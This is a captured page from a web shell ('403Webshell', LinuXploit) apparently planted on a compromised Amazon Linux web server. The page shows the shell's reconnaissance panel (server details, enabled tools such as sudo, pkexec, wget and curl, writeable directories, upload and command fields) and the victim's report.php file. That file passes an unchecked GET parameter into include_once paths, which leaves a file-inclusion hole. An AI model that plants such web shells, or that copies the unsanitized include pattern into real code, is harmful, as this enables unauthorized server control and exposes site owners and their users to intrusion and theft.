403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connections/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connections/report.php
<?php
	use PhpOffice\PhpWord\Settings;
	session_start();
	require_once('mod/_sanitize.php');
	include_once('config.php');
	date_default_timezone_set(APP_TIMEZONE);
	try {
		$db = new PDO(DB_CONNECT_STRING, DB_USER, DB_PWD);
	} catch (Exception $e) {
		die('Could not connect: ' . 'Database Error!');
	}
	$sql_tz = "SET time_zone = '".APP_TIMEZONE."'";
	$db->query($sql_tz);
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	require_once('mod/_functions.php'); 
	$rpt = trim($_GET['rpt']);
	$type = trim($_GET['type']);
	if (!empty($_SESSION['logged_in']) && !empty($_SESSION['user_id']) && $_SESSION['logged_in'] == true) :
		$authorized_call = 1; 
		$_SESSION['timeout'] = time() + APP_TIMEOUT;
		if ($type == 'oo_report') :
			ini_set('display_errors', '0');
			ini_set("pcre.backtrack_limit","10000000");
			ini_set("memory_limit","2048M");
			require_once('classes/lcs_db_report_base.php');
			require_once('classes/lcs_db_report.php');
			include_once('rpt/'.$rpt.'.php');
		elseif ($type == 'label') :
			if ($_GET['fmt'] == 'pdf') :
				ini_set('display_errors', '0');
				ini_set("pcre.backtrack_limit","10000000");
				ini_set("memory_limit","2048M");
				include_once('rpt/'.$rpt.'.php');
			elseif ($_GET['fmt'] == 'word' || $_GET['fmt'] == 'rtf') :
				Settings::loadConfig();
				$pdf_path = realpath(__DIR__ . '/vendor/mpdf/mpdf/src');
				\PhpOffice\PhpWord\Settings::setPdfRendererPath($pdf_path);
				\PhpOffice\PhpWord\Settings::setPdfRendererName('Mpdf');
				$phpWord = new \PhpOffice\PhpWord\PhpWord();
				include_once('rpt/'.$rpt.'.php');
				switch ($_GET['fmt']) :
					case 'pdf' :
						$file = 'Report.pdf';
						$writer = 'PDF';
						$content_type = 'application/pdf';
						break;
					case 'word' :
						$file = 'Report.docx';
						$writer = 'Word2007';
						$content_type = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
						break;
					case 'rtf' :
						$file = 'Report.rtf';
						$writer = 'RTF';
						$content_type = 'application/rtf';
						break;
					case 'html' :
						$file = 'Report.html';
						$writer = 'HTML';
						break;
					default :
						$file = 'Report.docx';
						$writer = 'Word2007';
						$content_type = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
				endswitch;
				header("Content-Description: File Transfer");
				header('Content-Disposition: attachment; filename="' . $file . '"');
				header('Content-Type: '.$content_type);
				header('Content-Transfer-Encoding: binary');
				header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
				header('Expires: 0');
				$xmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, $writer);
				$xmlWriter->save("php://output");
			endif;
		elseif ($type == 'report') :
			ini_set('display_errors', '0');
			ini_set("pcre.backtrack_limit","10000000");
			ini_set("memory_limit","2048M");
			include_once('rpt/'.$rpt.'.php');
		endif;
	else :
		echo 'Not Authorized!';
	endif;

Youez - 2016 - github.com/yon3zu
LinuXploit